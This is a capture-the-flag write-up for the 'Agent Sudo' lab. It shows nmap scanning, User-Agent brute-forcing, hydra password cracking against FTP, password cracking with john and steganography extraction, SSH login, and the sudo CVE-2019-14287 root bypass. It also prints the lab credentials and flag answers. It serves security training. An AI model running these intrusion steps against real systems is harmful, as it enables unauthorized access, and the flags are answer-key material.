Skip to content

Latest commit

 

History

History
192 lines (117 loc) · 4.86 KB

agentsudoctf.md

File metadata and controls

192 lines (117 loc) · 4.86 KB

You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.

Scanning

scan the machine

nmap -A -T4 10.10.57.85

image

it shows 3 open ports 21 (fpt), 22 (ssh), 80 (http)

HTTP (optional)

view the webpage

image

i found a hint say using your user-agent codename to view the secret (such as agent R)

Enumeration

maybe i will use BurpSuite Intruder to bruteforce user-agent

image

to use this payload, we need another 2nd payload that run 1 time

image

i see that a diffent at User-agent: C

image

it's 302 movement

image

go there, i found his name is chris

image

FTP

now try to bruteforce fpt password with hydra

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.57.85

image

login to ftp server

ftp 10.10.57.85
chris
crystal
ls

image

get all files to local to process later

mget *

Forensics

image

here is a note for agent J

image

hmm, let's do some forensics with 2 images

binwalk cute-alien.jpg
binwalk cutie.png

image

hmm i found a zip file in cutie.png

binwalk -e cutie.png

image

it's unable to unzip the file, so crack it

zip2john 8702.zip > hash
cat hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

image

crack the file

7z x 8702.zip
alien

i found a message to agent R: QXJlYTUx

image

use that password to crack steg at left image

steghide extract -sf cute-alien.jpg

image

hmm, i found it's a base64 and after decode, we have Area51 is our real password

image

so, we got james ssh password is hackerrules!

Exploitation

ssh to the server

ssh [email protected]
hackerrules!
ls
cat user_flag.txt

image

Flag cat user_flag.txt
Answer b03d975e8c92a7c04146cfa7a5a313c7

download the image to local for further research

python3 -m http.server

image

hmm it's an aline image

image

search with google image and found an acticle about roswell alien autopsy

image

Privilege Escalation

sudo -l -l

image

search that vulnerabiliy i found a CVE-2019-14287

image

and very easy

sudo -u#-1 /bin/bash

image

also agent R is DesKel

Flag root.txt
Answer b53a02f55b57d4439e3341834d70c062